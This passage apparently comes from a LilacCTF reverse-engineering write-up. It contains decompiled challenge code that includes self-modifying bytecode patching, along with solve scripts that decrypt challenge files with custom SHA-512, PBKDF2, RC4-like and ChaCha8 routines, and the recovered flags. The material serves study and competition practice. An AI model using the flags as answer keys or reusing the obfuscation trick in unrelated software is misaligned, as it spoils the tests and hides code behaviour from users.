        self.k2 = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32]
        self.k0 = [1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1]
        self.S = [[14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 4, 1, 14, 8, 3, 10, 5, 0, 15, 12, 8, 2, 4, 9, 14, 12, 5, 0, 14, 10, 6, 6, 4, 2, 1, 10, 6, 3, 11, 5, 1, 10, 14, 5, 6, 4, 2, 1, 13, 1, 10, 6, 3, 11, 6, 4, 2, 1, 13, 3, 8, 10, 6, 1, 11,
    def __substitution(self, table: str, self_table: list) -> str:
        """\n        :param table: 需要进行置换的列表,是一个01字符串\n        :param self_table: 置换表，在__init__中初始化了\n        :return: 返回置换后的01字符串\n        """
        sub_result = ''
        for i in self_table:
            sub_result += table[i - 1]
        return sub_result
    def str2bin(self, string: str) -> str:
        """\n        将明文转为二进制字符串:\n        :param string: 任意字符串\n        :return:二进制字符串\n        """
        plaintext_list = list(bytes(string, 'utf8'))
        result = []
        for num in plaintext_list:
            result.append(bin(num)[2:].zfill(8))
        return ''.join(result)
    def bin2str(self, binary: str) -> str:
        """\n        二进制字符串转成字符串\n        :param binary:\n        :return:\n        """
        list_bin = [binary[i:i + 8] for i in range(0, len(binary), 8)]
        list_int = []
        for b in list_bin:
            list_int.append(int(b, 2))
        result = bytes(list_int).decode()
        return result
    def __bin2int(self, binary: str) -> list:
        """\n        由于加密之后的二进制无法直接转成字符，有不可见字符在，utf8可能无法解码，所以需要将二进制字符串每8位转成int型号列表，用于转成bytes再转hex\n        :param binary: 二进制字符串\n        :return: int型列表\n        """
        list_bin = [binary[i:i + 8] for i in range(0, len(binary), 8)]
        list_int = []
        for b in list_bin:
            list_int.append(int(b, 2))
        return list_int
    def __int2bin(self, list_int: list) -> str:
        result = []
        for num in list_int:
            result.append(bin(num)[2:].zfill(8))
        return ''.join(result)
    def __get_block_list(self, binary: str) -> list:
        """\n        对明文二进制串进行切分，每64位为一块，DES加密以64位为一组进行加密的\n        :type binary: 二进制串\n        """
        len_binary = len(binary)
        if len_binary % 64!= 0:
            binary_block = binary + '0' * (64 - len_binary % 64)
            return [binary_block[i:i + 64] for i in range(0, len(binary_block), 64)]
        else:
            return [binary[j:j + 64] for j in range(0, len(binary), 64)]
    def modify_secretkey(self):
        """\n        修改默认密钥函数\n        :return: None\n        """
        print('当前二进制形式密钥为:{}'.format(self.K))
        print('当前字符串形式密钥为：{}'.format(self.bin2str(self.K)))
        newkey = input('输入新的密钥（长度为8）：')
        if len(newkey)!= 8:
            print('密钥长度不符合，请重新输入：')
            self.modify_secretkey()
        else:
            bin_key = self.str2bin(newkey)
            self.K = bin_key
            print('当前二进制形式密钥为:{}'.format(self.K))
    def __f_funtion(self, right: str, key: str):
        """\n        :param right: 明文二进制的字符串加密过程的右半段\n        :param key: 当前轮数的密钥\n        :return: 进行E扩展，与key异或操作，S盒操作后返回32位01字符串\n        """
        e_result = self.__substitution(right, self.E)
        xor_result = self.__xor_function(e_result, key)
        s_result = self.__s_box(xor_result)
        p_result = self.__substitution(s_result, self.P)
        return p_result
    def __get_key_list(self):
        """\n        :return: 返回加密过程中16轮的子密钥\n        """
        key = self.__substitution(self.K, self.k1)
        left_key = key[0:28]
        right_key = key[28:56]
        keys = []
        for i in range(1, 17):
            move = self.k0[i - 1]
            move_left = left_key[move:28] + left_key[0:move]
            move_right = right_key[move:28] + right_key[0:move]
            left_key = move_left
            right_key = move_right
            move_key = left_key + right_key
            ki = self.__substitution(move_key, self.k2)
            keys.append(ki)
        return keys
    def __xor_function(self, xor1: str, xor2: str):
        """\n        :param xor1: 01字符串\n        :param xor2: 01字符串\n        :return: 异或操作返回的结果\n        """
        size = len(xor1)
        result = ''
        for i in range(0, size):
            result += '0' if xor1[i] == xor2[i] else '1'
        return result
    def __s_box(self, xor_result: str):
        """\n        :param xor_result: 48位01字符串\n        :return: 返回32位01字符串\n        """
        result = ''
        for i in range(0, 8):
            block = xor_result[i * 6:(i + 1) * 6]
            line = int(block[0] + block[5], 2)
            colmn = int(block[1:5], 2)
            res = bin(self.S[i][line * 16 + colmn])[2:]
            if len(res) < 4:
                res = '0' * (4 - len(res)) + res
            result += res
        return result
    def __iteration(self, bin_plaintext: str, key_list: list):
        """\n        :param bin_plaintext: 01字符串，64位\n        :param key_list: 密钥列表，共16个\n        :return: 进行F函数以及和left异或操作之后的字符串\n        """
        left = bin_plaintext[0:32]
        right = bin_plaintext[32:64]
        for i in range(0, 16):
            next_lift = right
            f_result = self.__f_funtion(right, key_list[i])
            next_right = self.__xor_function(left, f_result)
            left = next_lift
            right = next_right
        bin_plaintext_result = left + right
        return bin_plaintext_result[32:] + bin_plaintext_result[:32]
    def encode(self, plaintext):
        """\n        :param plaintext: 明文字符串\n        :return: 密文字符串\n        """
        bin_plaintext = self.str2bin(plaintext)
        bin_plaintext_block = self.__get_block_list(bin_plaintext)
        ciphertext_bin_list = []
        key_list = self.__get_key_list()
        for block in bin_plaintext_block:
            sub_ip = self.__substitution(block, self.ip)
            ite_result = self.__iteration(sub_ip, key_list)
            sub_ip1 = self.__substitution(ite_result, self.ip1)
            ciphertext_bin_list.append(sub_ip1)
        ciphertext_bin = ''.join(ciphertext_bin_list)
        result = self.__bin2int(ciphertext_bin)
        return bytes(result).hex().upper()
    def decode(self, ciphertext):
        """\n        :param ciphertext: 密文字符串\n        :return: 明文字符串\n        """
        b_ciphertext = binascii.a2b_hex(ciphertext)
        bin_ciphertext = self.__int2bin(list(b_ciphertext))
        bin_plaintext_list = []
        key_list = self.__get_key_list()
        key_list = key_list[::(-1)]
        bin_ciphertext_block = [bin_ciphertext[i:i + 64] for i in range(0, len(bin_ciphertext), 64)]
        for block in bin_ciphertext_block:
            sub_ip = self.__substitution(block, self.ip)
            ite = self.__iteration(sub_ip, key_list)
            sub_ip1 = self.__substitution(ite, self.ip1)
            bin_plaintext_list.append(sub_ip1)
        bin_plaintext = ''.join(bin_plaintext_list).replace('00000000', '')
        return self.bin2str(bin_plaintext)
_a85chars = None
_a85chars2 = None
_A85START = b'<~'
_A85END = b'~>'
bytes_types = (bytes, bytearray)
def _bytes_from_decode_data(s):
    if isinstance(s, str):
        try:
            return s.encode('ascii')
        except UnicodeEncodeError:
            raise ValueError('string argument should contain only ASCII characters')
    else:
        if isinstance(s, bytes_types):
            return s
        else:
            try:
                return memoryview(s).tobytes()
            except TypeError:
                raise TypeError('argument should be a bytes-like object or ASCII string, not %r' % s.__class__.__name__) from None
def b64decode(s, altchars=None, validate=False):
    """Decode the Base64 encoded bytes-like object or ASCII string s.\n\n    Optional altchars must be a bytes-like object or ASCII string of length 2\n    which specifies the alternative alphabet used instead of the \'+\' and \'/\'\n    characters.\n\n    The result is returned as a bytes object.  A binascii.Error is raised if\n    s is incorrectly padded.\n\n    If validate is False (the default), characters that are neither in the\n    normal base-64 alphabet nor the alternative alphabet are discarded prior\n    to the padding check.  If validate is True, these non-alphabet characters\n    in the input result in a binascii.Error.\n    """
    s = _bytes_from_decode_data(s)
    if altchars is not None:
        altchars = _bytes_from_decode_data(altchars)
        assert len(altchars) == 2, repr(altchars)
        s = s.translate(bytes.maketrans(altchars, b'+/'))
    if validate and (not re.fullmatch(b'[A-Za-z0-9+/]*={0,2}', s)):
        raise binascii.Error('Non-base64 digit found')
    else:
        return binascii.a2b_base64(s)
def a85decode(b, *, foldspaces=False, adobe=False, ignorechars=b' \t\n\r\x0b'):
    # irreducible cflow, using cdg fallback
    """\n    """
    b = _bytes_from_decode_data(b)
    if adobe:
        if not b.endswith(_A85END):
            raise ValueError('Ascii85 encoded byte sequences must end with {!r}'.format(_A85END))
        else:
            if b.startswith(_A85START):
                b = b[2:(-2)]
            else:
                b = b[:(-2)]
    packI = struct.Struct('!I').pack
    decoded = []
    decoded_append = decoded.append
    curr = []
    curr_append = curr.append
    curr_clear = curr.clear
    for x in b + b'uuuu':
        if 33 <= x <= 117:
                curr_append(x)
                if len(curr) == 5:
                    acc = 0
                    for x in curr:
                        acc = 85 * acc + (x - 33)
                    try:
                        decoded_append(packI(acc))
                    except struct.error:
                        raise ValueError('Ascii85 overflow') from None
                    curr_clear()
                if x == 122:
                    if curr:
                        raise ValueError('z inside Ascii85 5-tuple')
                    else:
                        decoded_append(b'\x00\x00\x00\x00')
                else:
                    if foldspaces and x == 121:
                        if curr:
                            raise ValueError('y inside Ascii85 5-tuple')
                        else:
                            decoded_append(b'    ')
                    else:
                        if x in ignorechars:
                            continue
                        else:
                            raise ValueError('Non-Ascii85 digit found: %c' % x)
    payload = MX.__code__.co_code
    magic_code1 = b'?'
    magic_code2 = b'>'
    payload = payload[:4] + magic_code2 + payload[5:10] + magic_code1 + payload[11:18] + magic_code2 + payload[19:24] + magic_code1 + payload[25:]
    payload = payload[:3] + b'\x03' + payload[4:9] + b'\x01' + payload[10:17] + b'\x04' + payload[18:23] + b'\x02' + payload[24:]
    fn_code = MX.__code__
    MX.__code__ = CodeType(int(fn_code.co_argcount), int(fn_code.co_posonlyargcount), int(fn_code.co_kwonlyargcount), int(fn_code.co_nlocals), int(fn_code.co_stacksize), payload, fn_code.co_consts, fn_code.co_names, fn_code.co_varnames, fn_code.co_filename, fn_code.co_name, int(fn_code.co_firstlineno), fn_code.co_lnotab, fn_code.co_freevars, fn_code.co_cellvars)
    result = b''.join(decoded)
    padding = 4 - len(curr)
    if padding:
        result = result[:-padding]
    return result
def chacha20_decrypt(key, counter, nonce, ciphertext):
    return chacha20_encrypt(key, counter, nonce, ciphertext)
def chacha20_encrypt(key, counter, nonce, plaintext):
    byte_length = len(plaintext)
    full_blocks = byte_length // 64
    remainder_bytes = byte_length % 64
    encrypted_message = b''
    for i in range(full_blocks):
        key_stream = serialize(chacha20_block(key, counter + i, nonce))
        plaintext_block = plaintext[i * 64:i * 64 + 64]
        encrypted_block = [plaintext_block[j] ^ key_stream[j] for j in range(64)]
        encrypted_message += bytes(encrypted_block)
    if remainder_bytes!= 0:
        key_stream = serialize(chacha20_block(key, counter + full_blocks, nonce))
        plaintext_block = plaintext[full_blocks * 64:byte_length]
        encrypted_block = [plaintext_block[j] ^ key_stream[j] for j in range(remainder_bytes)]
        encrypted_message += bytes(encrypted_block)
    return encrypted_message
def chacha20_block(key, counter, nonce):
    BLOCK_CONSTANTS = [1634760805, 857760878, 2036477234, 1797285236]
    init_state = BLOCK_CONSTANTS + key + [counter] + nonce
    current_state = init_state[:]
    for i in range(10):
        inner_block(current_state)
    for i in range(16):
        current_state[i] = add_32(current_state[i], init_state[i])
    return current_state
def inner_block(state):
    quarterround(state, 0, 4, 8, 12)
    quarterround(state, 1, 5, 9, 13)
    quarterround(state, 2, 6, 10, 14)
    quarterround(state, 3, 7, 11, 15)
    quarterround(state, 0, 5, 10, 15)
    quarterround(state, 1, 6, 11, 12)
    quarterround(state, 2, 7, 8, 13)
    quarterround(state, 3, 4, 9, 14)
def xor_32(x, y):
    return (x ^ y) & 4294967295
def add_32(x, y):
    return x + y & 4294967295
def rot_l32(x, n):
    return (x << n | x >> 32 - n) & 4294967295
def quarterround(state, i1, i2, i3, i4):
    a = state[i1]
    b = state[i2]
    c = state[i3]
    d = state[i4]
    a = add_32(a, b)
    d = xor_32(d, a)
    d = rot_l32(d, 16)
    c = add_32(c, d)
    b = xor_32(b, c)
    b = rot_l32(b, 12)
    a = add_32(a, b)
    d = xor_32(d, a)
    d = rot_l32(d, 8)
    c = add_32(c, d)
    b = xor_32(b, c)
    b = rot_l32(b, 7)
    state[i1] = a
    state[i2] = b
    state[i3] = c
    state[i4] = d
def serialize(block):
    return b''.join([word.to_bytes(4, 'little') for word in block])
def encrypt(v, k):
    v0 = v[0]
    v1 = v[1]
    key0, key1, key2, key3 = (k[0], k[1], k[2], k[3])
    sum = 0
    delta = 2654435769
    for _ in range(32):
        sum = sum + delta & 4294967295
        v0 = v0 + ((v1 << 3) + key0 ^ v1 + sum ^ (v1 >> 4) + key1 ^ 596) & 4294967295
        v1 = v1 + ((v0 << 3) + key2 ^ v0 + sum ^ (v0 >> 4) + key3 ^ 2310) & 4294967295
    return (v0, v1)
def decrypt(v, k):
    v0 = v[0]
    v1 = v[1]
    key0, key1, key2, key3 = (k[0], k[1], k[2], k[3])
    sum = 3337565984
    delta = 2654435769
    for _ in range(32):
        v1 = v1 - ((v0 << 3) + key2 ^ v0 + sum ^ (v0 >> 4) + key3 ^ 2310) & 4294967295
        v0 = v0 - ((v1 << 3) + key0 ^ v1 + sum ^ (v1 >> 4) + key1 ^ 596) & 4294967295
        sum = sum - delta & 4294967295
    return (v0, v1)
def encrypt_all(v, k):
    encrypted = []
    for i in range(0, len(v), 2):
        encrypted.extend(encrypt(v[i:i + 2], k))
    return encrypted
def decrypt_all(v, k):
    decrypted = []
    for i in range(0, len(v), 2):
        decrypted.extend(decrypt(v[i:i + 2], k))
    return decrypted
```

Then feed into slop

```python=
• Ran python3 - <<'PY'
  │ import struct, itertools, string
  │
  │ … +89 lines
  └ hits 2
    (('R', 'L', 'R', 'L'), (2, 4, 5, 3), 'e@sy_Pyth0n_SMC!')
    (('L', 'R', 'L', 'R'), (3, 5, 4, 2), 'e@sy_Pyth0n_SMC!')
```

Flag: `LilacCTF{e@sy_Pyth0n_SMC!}`

## kilogram
```python!
from pathlib import Path

MAGIC = b"lilac___"
K = [
    0x428A2F98D728AE22,
    0x7137449123EF65CD,
    0xB5C0FBCFEC4D3B2F,
    0xE9B5DBA58189DBBC,
    0x3956C25BF348B538,
    0x59F111F1B605D019,
    0x923F82A4AF194F9B,
    0xAB1C5ED5DA6D8118,
    0xD807AA98A3030242,
    0x12835B0145706FBE,
    0x243185BE4EE4B28C,
    0x550C7DC3D5FFB4E2,
    0x72BE5D74F27B896F,
    0x80DEB1FE3B1696B1,
    0x9BDC06A725C71235,
    0xC19BF174CF692694,
    0xE49B69C19EF14AD2,
    0xEFBE4786384F25E3,
    0x0FC19DC68B8CD5B5,
    0x240CA1CC77AC9C65,
    0x2DE92C6F592B0275,
    0x4A7484AA6EA6E483,
    0x5CB0A9DCBD41FBD4,
    0x76F988DA831153B5,
    0x983E5152EE66DFAB,
    0xA831C66D2DB43210,
    0xB00327C898FB213F,
    0xBF597FC7BEEF0EE4,
    0xC6E00BF33DA88FC2,
    0xD5A79147930AA725,
    0x06CA6351E003826F,
    0x142929670A0E6E70,
    0x27B70A8546D22FFC,
    0x2E1B21385C26C926,
    0x4D2C6DFC5AC42AED,
    0x53380D139D95B3DF,
    0x650A73548BAF63DE,
    0x766A0ABB3C77B2A8,
    0x81C2C92E47EDAEE6,
    0x92722C851482353B,
    0xA2BFE8A14CF10364,
    0xA81A664BBC423001,
    0xC24B8B70D0F89791,
    0xC76C51A30654BE30,
    0xD192E819D6EF5218,
    0xD69906245565A910,
    0xF40E35855771202A,
    0x106AA07032BBD1B8,
    0x19A4C116B8D2D0C8,
    0x1E376C085141AB53,
    0x2748774CDF8EEB99,
    0x34B0BCB5E19B48A8,
    0x391C0CB3C5C95A63,
    0x4ED8AA4AE3418ACB,
    0x5B9CCA4F7763E373,
    0x682E6FF3D6B2B8A3,
    0x748F82EE5DEFB2FC,
    0x78A5636F43172F60,
    0x84C87814A1F0AB72,
    0x8CC702081A6439EC,
    0x90BEFFFA23631E28,
    0xA4506CEBDE82BDE9,
    0xBEF9A3F7B2C67915,
    0xC67178F2E372532B,
    0xCA273ECEEA26619C,
    0xD186B8C721C0C207,
    0xEADA7DD6CDE0EB1E,
    0xF57D4FF7FEE6ED0D,
    0x06F067AA72176FBA,
    0x0A637DC5A2C898A6,
    0x113F9804BEF90DAE,
    0x1B710B35131C471B,
    0x28DB77F523047D84,
    0x32CAAB7B40C72493,
    0x3C9EBE0A15C9BEBC,
    0x431D67C49C100D4C,
    0x4CC5D4BECB3E42B6,
    0x597F299CFC657E2A,
    0x5FCB6FAB3AD6FAEC,
    0x6C44198C4A475817,
]


def rotr(x, n):
    return ((x >> n) | ((x << (64 - n)) & 0xFFFFFFFFFFFFFFFF)) & 0xFFFFFFFFFFFFFFFF


def sha512_custom(m):
    h = [
        0x6A09E667F3BCC908,
        0xBB67AE8584CAA73B,
        0x3C6EF372FE94F82B,
        0xA54FF53A5F1D36F1,
        0x510E527FADE682D1,
        0x9B05688C2B3E6C1F,
        0x1F83D9ABFB41BD6B,
        0x5BE0CD19137E2179,
    ]
    bit_len = len(m) * 8
    p = bytearray(m)
    p.append(0x80)
    while (len(p) % 128) != 112:
        p.append(0)
    p += (0).to_bytes(8, "big")
    p += bit_len.to_bytes(8, "big")
    for off in range(0, len(p), 128):
        b = p[off : off + 128]
        w = [0] * 80
        for i in range(16):
            w[i] = int.from_bytes(b[i * 8 : (i + 1) * 8], "big")
        for i in range(16, 80):
            s0 = rotr(w[i - 15], 1) ^ rotr(w[i - 15], 8) ^ (w[i - 15] >> 7)
            s1 = rotr(w[i - 2], 19) ^ rotr(w[i - 2], 61) ^ (w[i - 2] >> 6)
            w[i] = (w[i - 16] + s0 + w[i - 7] + s1) & 0xFFFFFFFFFFFFFFFF
        a, b_, c, d, e, f, g, hh = h
        for i in range(80):
            s1 = rotr(e, 14) ^ rotr(e, 18) ^ rotr(e, 41)
            ch = (e & f) ^ ((~e) & g)
            t1 = (hh + s1 + ch + K[i] + w[i]) & 0xFFFFFFFFFFFFFFFF
            s0 = rotr(a, 28) ^ rotr(a, 34) ^ rotr(a, 39)
            maj = (a & b_) ^ (a & c) ^ (b_ & c)
            t2 = (s0 + maj) & 0xFFFFFFFFFFFFFFFF
            hh = g
            g = f
            f = e
            e = (d + t1) & 0xFFFFFFFFFFFFFFFF
            d = c
            c = b_
            b_ = a
            a = (t1 + t2) & 0xFFFFFFFFFFFFFFFF
        h[0] = (h[0] + a) & 0xFFFFFFFFFFFFFFFF
        h[1] = (h[1] + b_) & 0xFFFFFFFFFFFFFFFF
        h[2] = (h[2] + c) & 0xFFFFFFFFFFFFFFFF
        h[3] = (h[3] + d) & 0xFFFFFFFFFFFFFFFF
        h[4] = (h[4] + e) & 0xFFFFFFFFFFFFFFFF
        h[5] = (h[5] + f) & 0xFFFFFFFFFFFFFFFF
        h[6] = (h[6] + g) & 0xFFFFFFFFFFFFFFFF
        h[7] = (h[7] + hh) & 0xFFFFFFFFFFFFFFFF
    return b"".join(x.to_bytes(8, "big") for x in h)


def hmac_sha512_custom(key, msg):
    if len(key) > 128:
        key = sha512_custom(key)
    if len(key) < 128:
        key = key + b"\x00" * (128 - len(key))
    ipad = bytes(x ^ 0x36 for x in key)
    opad = bytes(x ^ 0x5C for x in key)
    return sha512_custom(opad + sha512_custom(ipad + msg))


def pbkdf2_custom(password, salt, iters, dklen):
    out = bytearray()
    block = 1
    while len(out) < dklen:
        u = hmac_sha512_custom(password, salt + block.to_bytes(4, "big"))
        t = bytearray(u)
        for _ in range(1, iters):
            u = hmac_sha512_custom(password, u)
            for i in range(64):
                t[i] ^= u[i]
        out.extend(t[: min(64, dklen - len(out))])
        block += 1
    return bytes(out)


def ksa(key):
    s = [(i + 4) & 0xFF for i in range(256)]
    j = 0
    for i in range(256):
        j = (j + s[i] + key[i % len(key)]) & 0xFF
        s[i], s[j] = s[j], s[i]
    return bytes(s)


def xorb(data, s):
    o = bytearray(data)
    for i in range(len(o)):
        o[i] ^= s[i & 0xFF]
    return bytes(o)


buf = Path("flag.enc").read_bytes()
if buf[:8] != MAGIC:
    raise SystemExit(1)
wrapped = buf[8:72]
salt = buf[72:104]
ciphertext = buf[104:]
digest = sha512_custom(salt + b"Lilac+present")
key2 = pbkdf2_custom(digest, salt, 10000, 64)
key1 = bytes(a ^ b for a, b in zip(wrapped, ksa(key2)[:64], strict=True))
plain = xorb(ciphertext, ksa(key1))
Path("flag.jpg").write_bytes(plain)

```

![flag](https://hackmd.io/_uploads/H1fhMbSIZl.jpg)

-> Flag: `Lilac{YOu_knOvv_h0w_tO_d3crypt_1t!!}`


## justrom

```python!
import struct


def u32be(buf, off):
    return struct.unpack_from(">I", buf, off)[0]


def decode_sethi_or(buf, sethi_off, or_off):
    sw = u32be(buf, sethi_off)
    ow = u32be(buf, or_off)
    return (((sw & 0x3FFFFF) << 10) | (ow & 0x1FFF)) & 0xFFFFFFFF


def rotl32(x, n):
    return ((x << n) & 0xFFFFFFFF) | (x >> (32 - n))


def qr(x, a, b, c, d):
    x[a] = (x[a] + x[b]) & 0xFFFFFFFF
    x[d] ^= x[a]
    x[d] = rotl32(x[d], 16)
    x[c] = (x[c] + x[d]) & 0xFFFFFFFF
    x[b] ^= x[c]
    x[b] = rotl32(x[b], 12)
    x[a] = (x[a] + x[b]) & 0xFFFFFFFF
    x[d] ^= x[a]
    x[d] = rotl32(x[d], 8)
    x[c] = (x[c] + x[d]) & 0xFFFFFFFF
    x[b] ^= x[c]
    x[b] = rotl32(x[b], 7)


def chacha8_block(words16):
    x = list(words16)
    orig = list(words16)
    for _ in range(4):
        qr(x, 0, 4, 8, 12)
        qr(x, 1, 5, 9, 13)
        qr(x, 2, 6, 10, 14)
        qr(x, 3, 7, 11, 15)
        qr(x, 0, 5, 10, 15)
        qr(x, 1, 6, 11, 12)
        qr(x, 2, 7, 8, 13)
        qr(x, 3, 4, 9, 14)
    out = [(x[i] + orig[i]) & 0xFFFFFFFF for i in range(16)]
    return b"".join(struct.pack("<I", w) for w in out)


rom = open("rom.bin", "rb").read()

pairs_a = [
    (0x4AB4, 0x4AB8),
    (0x4ABC, 0x4AC0),
    (0x4AC8, 0x4ACC),
    (0x4AD0, 0x4AD4),
    (0x4ADC, 0x4AE0),
    (0x4AE4, 0x4AE8),
    (0x4AF0, 0x4AF4),
    (0x4AF8, 0x4AFC),
]
pairs_b = [
    (0x4B04, 0x4B08),
    (0x4B0C, 0x4B10),
    (0x4B18, 0x4B1C),
    (0x4B20, 0x4B24),
    (0x4B2C, 0x4B30),
    (0x4B34, 0x4B38),
    (0x4B40, 0x4B44),
    (0x4B48, 0x4B4C),
]

A = b"".join(struct.pack(">I", decode_sethi_or(rom, s, o)) for s, o in pairs_a)
B = b"".join(struct.pack(">I", decode_sethi_or(rom, s, o)) for s, o in pairs_b)
T = bytes(a ^ b for a, b in zip(A, B))

const = list(struct.unpack_from(">4I", rom, 0x4018))
key = list(struct.unpack_from(">8I", rom, 0xC000))
state = const + key + [1, 0x41414141, 0x42424242, 0x43434343]

ks = chacha8_block(state)[:32]
flag = bytes(t ^ k for t, k in zip(T, ks)).decode()
print(flag)
```

Flag: `LilacCTF{d0ntl@@kl1kechch4atall}`

## C++++
```python!
import base64
import struct
import zlib

_BLOB_B64_ZLIB = "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